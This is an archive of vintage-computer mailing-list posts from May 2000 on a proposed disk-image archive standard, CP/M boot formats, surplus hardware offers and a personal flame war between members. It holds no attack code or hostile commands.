Bruce Lane wrote: > > > If you value, as I do, the fact that we got along pretty well > > during our few past meetings, please let the subject drop. Here > and > > now. > > > > It is obvious that we agree to disagree, and I would prefer to > > leave it at that point than start a flame-war that's going to leave > us > > both too pissed off to see straight. > > Bruce, I value our "friendship" as much as you do, which is to say > not > enough for you to avoid constantly insulting me like you have the > monopoly > on valid opinions and to act in a uncivil manner. > > Basically, take your apoplectic rantings and stick them up your > ass. I > tried to be patient and not get angry from your last message, but > I've > never been one to accept a continued stream of abuse, especially > from a > dweeb like yourself. > > I don't want, nor do I need, a reply from you. Any more messages I > receive from you on this matter I will consider to be SPAM and, > since you > live in a state which has laws against that sort of thing, I will not > hesitate to file a complaint against you. > > Best regards, > > Sellam > > -=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Bruce Lane, Owner/Head Honcho, > Blue Feather Technologies (www.bluefeathertech.com) > kyrrin@bluefeathertech.com > "SCSI Users, Unite! Beware the IDEs of March!" > From rdd at smart.net Tue May 30 10:01:54 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:53:11 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re:Noteson repa... In-Reply-To: <007401bfc9f7$6e0cc920$0d9bb2d1@Smith.earthlink.net> Message-ID: On Mon, 29 May 2000, Wayne M. Smith wrote: [> Sellem (sp?) wrote:] > > On Sat, 27 May 2000, Marvin wrote: > > > What makes you think a flame war is an effective > way to learn? A game > > > perhaps, but learning??? Have you never heard of learning from games? :-) I learned a lot about DCL by writing a game of adventure in it that doubled as a command line interpreter, and didn't a certain classic book on UNIX mention the importance of learning by playing? Of course, in today's world where children are supposed to be overstressed little adults and not play, which now includes not doing things like climbing trees or riding in the back of a station wagon with their feet stuck out the back window because they might get hurt (can't have the kiddies riding in cars without being tied to the seats with "safety" belts, can we? May as well get them used to a lack of freedom at a young age so they hopefully won't resist fascist politicians who want to totally control their lives when they get older, right?), it's difficult to expect some to understand this concept. > > I suppose it's one way of trying to justify a personality flaw? > > I would have said "manifest" a personality flaw. Kindly spare us the results of your misfiring neurons, and, have a nice day! -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From marvin at rain.org Tue May 30 10:10:23 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:53:11 2005 Subject: Prime Computer Available References: Message-ID: <3933D9DF.3D6EB2F2@rain.org> I was talking to someone at TRW and they indicated they have a Prime Computer System, currently in service, that will be available for the taking in a month or so. Anyone interested? I forgot to get his email address so I won't be back in contact with him until the next TRW. From richard at idcomm.com Tue May 30 10:17:33 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:11 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <000901bfca4a$2eb27060$0400c0a8@EAHOME> WARNING: There's evidence of "creeping featurism" here. That's what kills most standards, or at least manages to make them useless. Example: if your goal is to make the medium universally readable, why bother to put a source identifier into it? Who cares what system wrote it, so long as it can be read by any machine capable of dealing with the physical medium. It seems MUCH more important to choose a medium that's universally available and useable by a large number of systems. This would rule out such things as tape, whether paper or mylar/magnetic, diskettes, and most other magnetic media. The most important feature is ready availablility, right? If you can't go down to the 7-11 and buy it, it's not readily available, now, is it:? If you're defining an exchange medium, it doesn't matter whether your 1970's computer had that medium back when it was a pup. It doesn't matter that they used the little dectapes then if you can't go to CompUSA and buy them now and in the future. If you consider genuine requirements, you'll probably not end up with magnetic media, though portable hard disk might be worthy of consideration. You'll probably end up with something that requires nearly everyone to build an interface of some sort just to be able to use it. That's the problem you're trying to solve, doncha know ... If the guys who designed the systems had provided for this sort of interchange, you'd not have to solve the problem now. Dick. ----- Original Message ----- From: James Willing To: Sent: Tuesday, May 30, 2000 8:54 AM Subject: Re: Defining Disk Image Dump Standard > On Mon, 29 May 2000, Sellam Ismail wrote: > > > Let's start sort of from scratch here. > > > > So far we have the following (high level) criterion for a disk archive > > standard: > > > > 1. Host computer type (2 bytes allowing up to 65536 models to be > > specified) > > 2. Track format (host computer specific) > > 3. Sector format (single-density, double-density, etc) > > 4. Sector data format - this will specify what format the archived sector > > is in (raw data? logical bytes?) > > 5. Bytes per sector > > 6. Bits per byte > > > > What else? > > > Hmmm... > > Hard sector vs. SOft sector (for ctrlr emulations) > Interleaving - yes/no/offset value > Sectors per track > # of Tracks > Surfaces (heads) per cylinder > ...? > > -jim > --- > jimw@computergarage.org || jimw@agora.rdrop.com > The Computer Garage - http://www.computergarage.org > Computer Garage Fax - (503) 646-0174 > From marvin at rain.org Tue May 30 10:21:10 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:53:12 2005 Subject: Games: was Re: Get up on the wrong side of the bed ... References: Message-ID: <3933DC66.8AA07D2F@rain.org> "R. D. Davis" wrote: > > On Mon, 29 May 2000, Wayne M. Smith wrote: > [> Sellem (sp?) wrote:] > > > On Sat, 27 May 2000, Marvin wrote: > > > > > What makes you think a flame war is an effective > > way to learn? A game > > > > perhaps, but learning??? > > Have you never heard of learning from games? :-) I learned a lot about > DCL by writing a game of adventure in it that doubled as a command > line interpreter, and didn't a certain classic book on UNIX mention > the importance of learning by playing? Different strokes for different folks; what do we learn with a flame war? The games I am talking about are better described in "Games People Play", don't remember the author. It would be interesting though to see if there is any correlation between competitiveness and computer technical people (programmers, hardware, etc.) Of course, in today's world > where children are supposed to be overstressed little adults and not While that is off topic, I couldn't agree more with your sentiments! From pechter at pechter.dyndns.org Tue May 30 10:39:17 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:12 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: N otes on repa... In-Reply-To: <8763AE987517D2118C0500A0C9AB234C2BAD62@TEGNTSERVER> from Douglas Quebbeman at "May 30, 2000 09:33:00 am" Message-ID: <200005301539.LAA07607@bg-tc-ppp912.monmouth.com> > > In article > > , > > R. D. Davis writes > > >Is there any way you can retrieve it from the skip if it ends > > >up in there? > > > > Once it is in the skip, anyone taking it away, other than the waste > > disposal people, is stealing it. This has already been made clear to > > me. > > Not sure what country you live in, but if you're in the US, then > regardless of whatever munincipal laws have been enacted, the U.S. > Supreme Court has ruled (on multiple occaisions) that refuse is > exactly that- stuff that people no longer want. > Well, the rule depends. If it's a commercial dumpster on private property you're tresspassing and stealing if it's in the dumpster. At the curb it's on public property and avaiable. > > respectfully submitted, > -doug q > > Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Tue May 30 10:41:59 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:12 2005 Subject: OS/2 In-Reply-To: <8763AE987517D2118C0500A0C9AB234C2BAD5F@TEGNTSERVER> from Douglas Quebbeman at "May 30, 2000 08:54:34 am" Message-ID: <200005301541.LAA07633@bg-tc-ppp912.monmouth.com> > > Close, but not quite correct. > > > > GPF is a general protection fault, the most common problem is > > a bad or uninitialized pointer. > > > > What makes a DLL get loaded, or paged in, is a page fault. > > Its the same mechanism that causes a swapped out page to be swapped back > > in on a 4K boundary. > > What I'm saying is that the way is *should* work is: > > pointer fault on attempt to execute faulted pointer to DLL routine > segment fault on attempt to execute code in unmapped DLL routine's > segment > page fault on attempt to execute code in unmapped DLL routine's page > > And in a really proper OS you'd also get a page fault if the page map > containing the PageMapTableEntries weren't currently mapped in (and > yes you can page out page maps). > > And before you point out that segments went away from Win32 let > me say that too is another fatal flaw with the Windows family of > OS's. > > -dq Is it just me -- or does this sound like Multics segments? Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From steverob at hotoffice.com Tue May 30 10:56:58 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:53:12 2005 Subject: Unusual weekend find Message-ID: <2921A6D846E9D31182490050040DC0D6682DCA@hoexc101.hotoffice.com> Picked up an unusual system this weekend and was wondering if anyone could provide some pointers. The system is a "Lasor Computer" (note the spelling) is housed in a desk-sized cabinent and weighs about 300 LBS. I don't know if it's true but, according to the previous owner, whom purchased it new around 1982, there were only about 300 of these systems ever built. This one is serial number 140, has been in storage since 1985, and is in outstanding condition. It not even dusty inside! It has two 8" floppies, 2 10-MB hard drives, and 16 serial ports. All the major components are mounted in 19" trays so, supposedly everything could go in to a standard rack. When I first saw it, I thought it could be a S-100 system because of the card cage, and power supply configuration. (my mouth was really watering) :-) After removing the cards, it's obviously not S-100 but, looks very similar. The cards look to be the same width as S-100 but they are about 3" deeper and there are no regulators on the cards. The CPU for this thing is an Intel 8086 and all the cards are marked "LASOR SYSTEMS". Anyone know what kinda bus this is? According to the DOCs, the system runs "MLX" which stands for "Multiuser Executive". supposedly, it can read CPM formatted disks. I'm not sure if it will boot CPM or execute CPM apps though. When I tried to boot the system, it got a failure on the boot drive so, I had to do some microsurgery. Seems the heads had stuck to the platters and it took a little coaxing to get the platters spinning again. Hopefully, I didn't hurt the platters too much. I finally did get the system to boot OK but, now I'm getting a "Password" prompt. DOH!!! I have contacted the original user and maybe he'll be able to help me out. I'll keep my fingers crossed. If not, I'll see if I can get it too boot with a CPM disk and hack my way past the password prompt. Also in the deal I got 6 - Televideo 950 terminals, and 4 large printers, and about a mile of wiring. All of the printers are in excellent condition with the exception of the chain printer (Teletype model 40). When I plugged that one in, the letters went flying everywhere. Seems the letters are mounted on a large rubber band that had decomposed sling-shotting pieces everywhere ;-) Oh yeah... I spent $50 bucks for the whole truckload. Steve Robertson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000530/2bb0cd57/attachment-0001.html From foo at siconic.com Tue May 30 09:51:58 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <001901bfca47$48077400$0400c0a8@EAHOME> Message-ID: On Tue, 30 May 2000, Richard Erlacher wrote: > It's silly to mix these two desirables. They're not bound together. Let's > not require something that's counterproductive as this is. If you make a > distribution standard for media, then use it for distribution. Let the OS > determine what's suitable for booting. Dick, once again with raging gradeur you have brought forth an entirely non-sequitur point of issue to the discussion at hand. Assuming you did understand what this thread is about, how does one separate the operating system from the programs and data on the disk (across disparate platforms) to be able to make a determination as to what becomes part of the archive? No, I really don't want to hear your reply, but something tells me you have nothing better to do anyway. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From Hans.Franke at mch20.sbs.de Tue May 30 11:01:46 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:53:12 2005 Subject: A moment of silence... In-Reply-To: References: <3932DEA9.8720.146821E@localhost> Message-ID: <3934020A.10324.1D8B212@localhost> > > I still don't get the idea - Silicon Valley (Contra Coast, Alameda and > > Santa Clara), an area 4 times larger than Munich (City of Munich and > > Munich county) and just roughly the same population, and you're talking > > about skyrocketing prices ? maybe they should start to build something > > (preferable something other than highways). > It would appear as if more people want to live in Silicon Valley than Munich. Known here as well - I whish we could build City gates and charge a commuter Tax (Lets say USD 10 per car) _and_ install some immigration law to regulate the number of new citicens per year somewhere near Zero - I wouldn't mind Americanos or even French, as long as we get less immigrants from other Parts of Germany (read Prussians :). > The average house in Silicon Valley costs $577,280 (Source: SJ Mercury News, > 29 May 2000, page 7B). ( That's 1.216.791 DM at today's exchange rates, or > 622.134,66 Euros. ) House prices in Munich _start_ somewhere at ~1.2m DM (~600 kUSD) for connected houses, while single houses _start_ at about 1.7m DM (~800 kUSD) so there's still room :) > Commercial real estate has undergone similar escalation, with landlords now > commonly asking for substantial percentages of stock in pre-IPO companies > in addition to high rents. I know personally of a deal that fell through > because the company that lost was unwilling to give approximately 1% of the > outstanding stock to the landlord (in addition to the high rent); the > "winning" company gave more stock+cash. That's the new thing - I don't know about any similar stuff in Muncih. > If Silicon Valley weren't Paradise (esp. for geeks), it wouldn't make > sense... But... Now we're back on topic - is it still a paradise if surplus dealers and other sources of fun gear are closing down ? Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From foo at siconic.com Tue May 30 10:08:07 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:12 2005 Subject: Typical Spaz Behavior (was Re: Sellam Explodes) In-Reply-To: <39336D02.22140.389CC2C@localhost> Message-ID: On Tue, 30 May 2000, Bruce Lane wrote: > Criminys... ask a guy to just let the subject drop, and this is > what happens. > > I've blocked any further E-mail from Sellam at this end. It's > obvious that I can't even disagree with him now without ticking him > off. I'm posting his final message as something of a warning to > others who think he can handle things like this in a mature way. Don't you mean you're posting my message publicly to the list because: a) you have no qualms about bringing a discussion that was purposely taken off of a public forum in order to avoid sucking up bandwidth back into that public forum without regards to fellow listmembers and thereby demonstrating a fundamental lack of courtesy b) you secretly DO approve of SPAM that in the past you have so vehemently expressed your opposition to, as this is a classic example of SPAM if I ever saw one c) you're afraid of directly confronting me on the issue because you are socially retarded Pick one or all of the above. Please, send all flames directly to foo@siconic.com. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 10:31:50 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: Adding Jim Willing's input to the fray: 1. Host computer type (2 bytes allowing up to 65536 models to be specified) 2. Hard/soft sector flag 3. Number of tracks 4. Track format (host computer specific) 5. Sector format (single-density, double-density, etc) 5. Sector data format - this will specify what format the archived sector is in (raw data? logical bytes?) 6. Sectors per track 7. Bytes per sector 8. Bits per byte I think the measure of usefulness of this standard will be if it can easily define the format of a standard disk from most any platform as well as being able to handle different exceptions. What I mean is, can one take a regularly formatted diskette from any computer that has T number of tracks and S number of sectors per track and B number of bytes per sector and describe it with the same header as a disk with some totally hardware specific formatting? The Archive Description Header should be able to easily describe standard disk formats so as to be easily implementable across multiple platforms, while also being powerful enough to describe exotic platform specific formats that would allow reconstruction of an original disk back to the original platform. The reading and writing of the disks will obviously have to be done with applications running on the actual hardware, that will be able to analyze the format of the disk and pass information about any special formatting to the machine where the archive is to be processed and stored. We are NOT creating a description for hardware that can read any disk format ever put out. That is wholly unfeasible. We are creating a software standard that will allow the contents of a diskette to be universally defined in a manner that allows complete reconstruction of a diskette on the original platform. So for disks that cannot be read by PC hardware (which is what I currently consider to be "universal") utilities will have to be created on the original platform to both read and write the diskette. The best example would be the Apple ][. A utility will have to be written for the Apple ][ that can read the raw disk data, analyze the contents, and return the sector (or track) data back to the "universal" host over a serial port along with a description of how that data was formatted on the disk. That description will then get encoded into the Archive Description Header. Which leads me to this thought: is preserving the actual format of the disk even necessary for posterity? Is the goal here to be able to make exact copies of the disk to be able to run on the hardware well into the future? Or is the actual data itself more important? This is getting too complicated, but what I mean is, instead of trying to archive an oddball format from, say, the Apple ][ that was designed to thwart copying of the disk and making archiving it a challenge, would it be better to just take the software contained on that disk and convert it to a standard format that can be more easily archived? Is there historical value to preserving the original format? I think so. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From richard at idcomm.com Tue May 30 11:33:27 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:12 2005 Subject: A moment of silence... References: <3932DEA9.8720.146821E@localhost> <3934020A.10324.1D8B212@localhost> Message-ID: <002001bfca54$c90d0300$0400c0a8@EAHOME> HEY! . . . Smile when you say that, pardnuh! ... My father came from Munich, but my mother was born in Berlin. Aside from my half-year stay in Munich in '47, I lived outside Munich (Groebenzell) for most of my first few years, Though I was born outside Berlin, since that's where the Reich had stationed my father's unit (Regiment Gross-Deutschland), which was a small "regiment" most of which was on the eastern front while one battalion was in Berlin serving at the pleasure of the leadership. Your lamentations are sounding more and more like my Papa all the time. He frequently began with "It should be illegal to do this . . ." and the like.) In California, too, they have all-too-often tried to legislate good sense, though they haven't managed it yet. Often it is too easy to start with "there ought to be a law ..." but all that does is make work for the lawyers. Unfortunately, you can't have it both ways. Here, in the "land of opportunity" the opportunity can be viewed as an opportunity to get screwed. It's all in how you look at things. now . . . about those 'Sau-Preussen' you were referring to . . . Dick ----- Original Message ----- From: Hans Franke To: Sent: Tuesday, May 30, 2000 10:01 AM Subject: Re: A moment of silence... > Zero - I wouldn't mind Americanos or even French, as long as we get > less immigrants from other Parts of Germany (read Prussians :). > > > The average house in Silicon Valley costs $577,280 (Source: SJ Mercury News, > > 29 May 2000, page 7B). ( That's 1.216.791 DM at today's exchange rates, or > > 622.134,66 Euros. ) > > House prices in Munich _start_ somewhere at ~1.2m DM (~600 kUSD) for > connected houses, while single houses _start_ at about 1.7m DM (~800 kUSD) > so there's still room :) > > > Commercial real estate has undergone similar escalation, with landlords now > > commonly asking for substantial percentages of stock in pre-IPO companies > > in addition to high rents. I know personally of a deal that fell through > > because the company that lost was unwilling to give approximately 1% of the > > outstanding stock to the landlord (in addition to the high rent); the > > "winning" company gave more stock+cash. > > That's the new thing - I don't know about any similar stuff in Muncih. > > > If Silicon Valley weren't Paradise (esp. for geeks), it wouldn't make > > sense... But... > > Now we're back on topic - is it still a paradise if surplus dealers and > other sources of fun gear are closing down ? > > Gruss > H. > > -- > VCF Europa 2.0 am 28./29. April 2001 in Muenchen > http://www.vintage.org/vcfe > http://www.homecomputer.de/vcfe > From dhquebbeman at theestopinalgroup.com Tue May 30 12:01:01 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:53:12 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: N otes on repa... Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD65@TEGNTSERVER> > > Not sure what country you live in, but if you're in the US, then > > regardless of whatever munincipal laws have been enacted, the U.S. > > Supreme Court has ruled (on multiple occaisions) that refuse is > > exactly that- stuff that people no longer want. > > > Well, the rule depends. If it's a commercial dumpster on > private property you're tresspassing and stealing if it's in > the dumpster. At the curb it's on public property and avaiable. Granted... tresspassing is tresspassing. -dq From dhquebbeman at theestopinalgroup.com Tue May 30 12:01:52 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:53:12 2005 Subject: OS/2 Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD66@TEGNTSERVER> > > What I'm saying is that the way is *should* work is: > > > > pointer fault on attempt to execute faulted pointer to > DLL routine > > segment fault on attempt to execute code in unmapped > DLL routine's > > segment > > page fault on attempt to execute code in unmapped DLL > routine's page > > > > And in a really proper OS you'd also get a page fault if > the page map > > containing the PageMapTableEntries weren't currently mapped in (and > > yes you can page out page maps). > > > > And before you point out that segments went away from Win32 let > > me say that too is another fatal flaw with the Windows family of > > OS's. > > Is it just me -- or does this sound like Multics segments? Dang- busted again. :-) -doug q From hofmanwb at worldonline.nl Tue May 30 19:07:20 2000 From: hofmanwb at worldonline.nl (W.B.(Wim) Hofman) Date: Sun Feb 27 18:53:12 2005 Subject: Sharp MZ80FB Message-ID: <20000530171305.C311736B96@rhea.worldonline.nl> Anyone interested in a Sharp MZ80FB dual floppy drive located in Arnhem Holland? Wim From mmcfadden at cmh.edu Tue May 30 09:07:13 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:53:12 2005 Subject: Somebody wanted TI S1500 Message-ID: I can't find my link to whoever wanted a TI s1500. I think is was a museum. Please respond to mmcfadden@cmh.edu. I was diving through my local computer surplus exchange and came across the following. I had to stand on top of a fork-truck and look into a big box to examine all of these. There's goodies in those dusty boxes. TI S1500, also external expansion chassis wd900 Doesn't look like my TI explorer. TI Business Pro TI 990 with 9-track cipher tape equivalent all in 5 foot rack Tektronix 4052 I'm keeping the Tek 4052 but I want to have the surplus exchange transfer the TI S1500 to the museum. I'm taking pictures before I transfer any of these. Mike mmcfadden@cmh.edu From mmcfadden at cmh.edu Tue May 30 08:44:26 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:53:12 2005 Subject: Papertape and Mylar variant Message-ID: I seem to remember that back in the good old days (BITGOD) the cruise missile programmers at McDonnell Douglas were required to punch a Mylar version of a paper tape that was the guidance load for each missile and then it was stored in a vault. I guess that you could decode the holes in the tape to "prove" that the guidance load was correct. Somewhere I have a tape fragment, not from a missile but from some game code. I think this tape was not fan folded but rolled for storage. Mike From ss at allegro.com Tue May 30 13:06:39 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:53:12 2005 Subject: free: misc cards for HP 9000 / HP 3000 & other Message-ID: <3933A0BF.22269.1EA91F6B@localhost> Hi, I have the following cards and MUX panels available for free (for non-ebay use, and you pay shipping): HP 3000/9x5 / HP 9000/8x5 boards: 6 port MUX & cable: board 27140-81001?, cable 28659-63002 (I have two of the above boards/cables) (note: they might possibly work in a 9x7 / 8x7) MUX Panels: 40290-60003: RS 232C Panel 25 Pin (8-port) 40299-60002: RS 232C Full Modem (8-port) Note: neither of the above panels work with either of the above boards/cables. (I.e., the cable/plug aren't even the same size.) Nor do I have cables for these panels. HP 30000/37 ("Mighty Mouse") boards: 3000/37 MUX (no cable or panel) 3000/37 1/2 MB memory Misc: SDI PCA DTC Card: 02345-60021 (No, I don't know what it is, either!) AFAIK, all cards were in working order when pulled from equipment. They're at our office in Cupertino, CA. Those that aren't spoken for will probably be offered on eBay in a week or so, but I wanted ClassicCmp readers to get first chance. thanks, Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From dhquebbeman at theestopinalgroup.com Tue May 30 13:17:08 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:53:12 2005 Subject: Papertape and Mylar variant Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD6A@TEGNTSERVER> > Somewhere I have a tape fragment, not from a missile but from some game code. > I think this tape was not fan folded but rolled for storage. Right-o... teletypes with the reader/punch used rolls of paper tape. I have a copy of DEC Monopoly on papertape that I punched myself, as well as a copy of Intel's INTERP-80 (8080a simulator) and a Star Trek game called BIGMES (from an HP 2000). At IU, we had a CDC6600 with an online highspeed punch, and I have a couple of tapes I punched on that, as well as what was left on the roll. I'm not sure if the fanfold method came about for ease of mailing or not; eventually, there were readers available that had "bins" instead of reels, and you could load either fanfold or roll tape in the bins. -doug q From donm at cts.com Tue May 30 14:01:30 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <001901bfca47$48077400$0400c0a8@EAHOME> Message-ID: On Tue, 30 May 2000, Richard Erlacher wrote: > I never understood why the double density CP/M diskettes were not bootable, > and why "distribution-standard" diskettes had to be bootable. These are two > different features, and what's important about the "standard" is not that > it's bootable but that it's defined so as to be universally readable. But that is/was not always true! There were a number of 8" CP/M systems that used bootable DD formats, and most all 5.25" CP/M systems were in a bootable DSDD format. 8" SSDD: Altos Avtek Heurikon MLZ-90 Ithaca Intersystems Octagon 8/16 Ohio Scientific Turbo Tektronix 8 Vista A-800 8" DSDD: Heath Magnolia Heurikon MLZ-90 Ithaca Intersystems MDS-80 Prolog APL-2 System Group 2800 W.J. Engineering In the 5.25" bunch, the two obvious ones that immediately come to mind as using the SD boot track are Osborne and Xerox. - don > The thing that made 5-1/4" "standard" diskettes unachievable back in the > CP/M days was that people couldn't let go of the notion that every diskette > had to be bootable. Frankly, I got fine mileage out of diskettes which > couldn't be booted, yet I never had a problem booting up. > > It's silly to mix these two desirables. They're not bound together. Let's > not require something that's counterproductive as this is. If you make a > distribution standard for media, then use it for distribution. Let the OS > determine what's suitable for booting. > > Dick > > ----- Original Message ----- > From: Sellam Ismail > To: > Sent: Tuesday, May 30, 2000 12:50 AM > Subject: Re: Defining Disk Image Dump Standard > > > > > > Let's start sort of from scratch here. > > > > So far we have the following (high level) criterion for a disk archive > > standard: > > > > 1. Host computer type (2 bytes allowing up to 65536 models to be > > specified) > > 2. Track format (host computer specific) > > 3. Sector format (single-density, double-density, etc) > > 4. Sector data format - this will specify what format the archived sector > > is in (raw data? logical bytes?) > > 5. Bytes per sector > > 6. Bits per byte > > > > What else? > > > > I will be the first to say that this is may not be very logically > > structured. What I am attempting to do is give a suggestion for a high > > level header that identifies what each chunk of data in the archive can > > represent. In this way, disks that are formatted with several different > > formats can be described. > > > > I think what this may evolve into is a Data Definition Language. The DDL > > will be encoded along with the disk data and will describe the format of > > the data on the disk as it is being read. > > > > This comes back to the fact that utilities will have to be written for > > each computer we decide to support (I assume it will be all of them) to > > both read and write native diskettes. I also assume the data will be > > passed between the archive host and the target machine via serial link? > > > > In case my mostly random thoughts above don't make sense, here is what I > > would have in mind for the Apple ][: > > > > The disk can be read in either standard, logical format (13 or 16 sectors > > per track, 256 bytes per sector) or "raw" format (raw disk bytes are read > > from the track). There would also have to be format descriptions for > > specially formatted tracks such as the 18-sector type I mentioned. > > > > As for reading the raw bytes, the Apple ][ had what were called > > "synchronization" bytes, which were 10 bits long, the two extra bits being > > used to synchronize the head with the start of the track. I could go into > > a technical discussion of this but would have to pull out some reference > > material to refresh my memory of how it all worked. Anyway, these bytes > > would have to be specially encoded in the archive. > > > > Sellam International Man of Intrigue and > Danger > > -------------------------------------------------------------------------- > ----- > > Looking for a six in a pile of nines... > > > > Coming soon: VCF 4.0! > > VCF East: Planning in Progress > > See http://www.vintage.org for details! > > > > > > From wilson at dbit.dbit.com Tue May 30 14:20:33 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: ; from donm@cts.com on Tue, May 30, 2000 at 12:01:30PM -0700 References: <001901bfca47$48077400$0400c0a8@EAHOME> Message-ID: <20000530152033.A17084@dbit.dbit.com> On Tue, May 30, 2000 at 12:01:30PM -0700, Don Maslin wrote: >But that is/was not always true! There were a number of 8" CP/M systems >that used bootable DD formats, and most all 5.25" CP/M systems were in a >bootable DSDD format. I always figured the reason for the restriction was dumb boot PROMs, which only know how to do programmed I/O to the FDC, and 8" DD comes in too fast for typical 8-bit CPUs of the time to handle with PIO. If the boot PROM on a particular system is smart enough to set up DMA, no need to require SD. John Wilson D Bit From richard at idcomm.com Tue May 30 14:24:18 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <001901bfca6c$a76424a0$0400c0a8@EAHOME> It must be tough to process such difficult issues with a single flip-flop . . . See my comments below, plz. Dick ----- Original Message ----- From: Sellam Ismail To: Sent: Tuesday, May 30, 2000 8:51 AM Subject: Re: Defining Disk Image Dump Standard > On Tue, 30 May 2000, Richard Erlacher wrote: > > > It's silly to mix these two desirables. They're not bound together. Let's > > not require something that's counterproductive as this is. If you make a > > distribution standard for media, then use it for distribution. Let the OS > > determine what's suitable for booting. > > Dick, once again with raging gradeur you have brought forth an entirely > non-sequitur point of issue to the discussion at hand. Assuming you did > understand what this thread is about, how does one separate the operating > system from the programs and data on the disk (across disparate platforms) > to be able to make a determination as to what becomes part of the archive? > The way you separate the operating system from the executables is by never, Never, NEVER, mixing them on the same medium, particularly if it's intended for dissemination. If the platforms are disparate, you certainly don't need to distribute the OS. A generalized and "universal" medium has to be just that. Keep in mind that what equipment was available back in the old days when these old machines were relevant doesn't matter. What you need is a way to put the material you wish to convey to some other party on a medium which is likely to be readable today and in the future by the intended destinee. I'd not be surprised to find that every diskette you own has an OS on it, else you wouldn't frame this issue as you have. For you, though not for anyone else, I'd recommend you get a chisel and put your distribution data on a stone slab. Most everyone else is smart enough to figure out how to avoid writing the OS to a diskette or tape. I'd have thought you had run into the problems with media exchange long enough ago to realize that since it's YOUR computer, YOU can tell it what to write to the medium, just as YOU can tell it how that material is to be organized and how it is to be represented. IIRC YOU were the primary opponent when this sort of issue was raised with respect to documentation archival. You opposed the common and virtually universally accepted file format used throughout the industry for exchange of documents. You wanted to reduce everything to bitmapped images 100x as large and 1% as easy to use as PDF's, just so you didn't have to use a PC to process the data into something your odd-ball system could display. Now you want to do something else that's quite similar. I'm just raising the issue that not every system has floppy disks or mag tape, and, certainly fewer have both. Then there's the issue of how to read them on system A when written on system B. The latter's inherently solvable, but if you want to archive data about or useful with a given OS, you don't have to write the data to a medium capable of reading or interpreting the OS image. The primary concern is finding a medium that's available so whoever wants to participate in the process can get it here, now, and in the future, and not by digging in a dumpster. That rules out floppy disk, mag-tape, and a lot of other media, since their longevity on the market is coming to an end. If you don't deal with that issue, you'll have to start over again with it in another 5 years. The other warts you design into the exchange process won't matter if you can't rely on getting the physical media and both generating and accepting it at each end of the process. As far as I'm concerned, until you resolve the media issue, the format of the content is a non-issue. Have you tried to read an LS120 diskette on your Apple-][ lately? > > No, I really don't want to hear your reply, but something tells me you > have nothing better to do anyway. > It's just as I said before: You simply want to transmit, but you don't want to receive. > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > From richard at idcomm.com Tue May 30 14:42:02 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <002401bfca6f$3378d240$0400c0a8@EAHOME> Clearly, I was insufficiently clear about what I meant. Bootability is not an issue when exchange of media is the goal. I know there are systems that boot from EITHER density and will do so from either single-side or double-sided media, since I have a couple of them running. There are even systems that will boot from single-sided 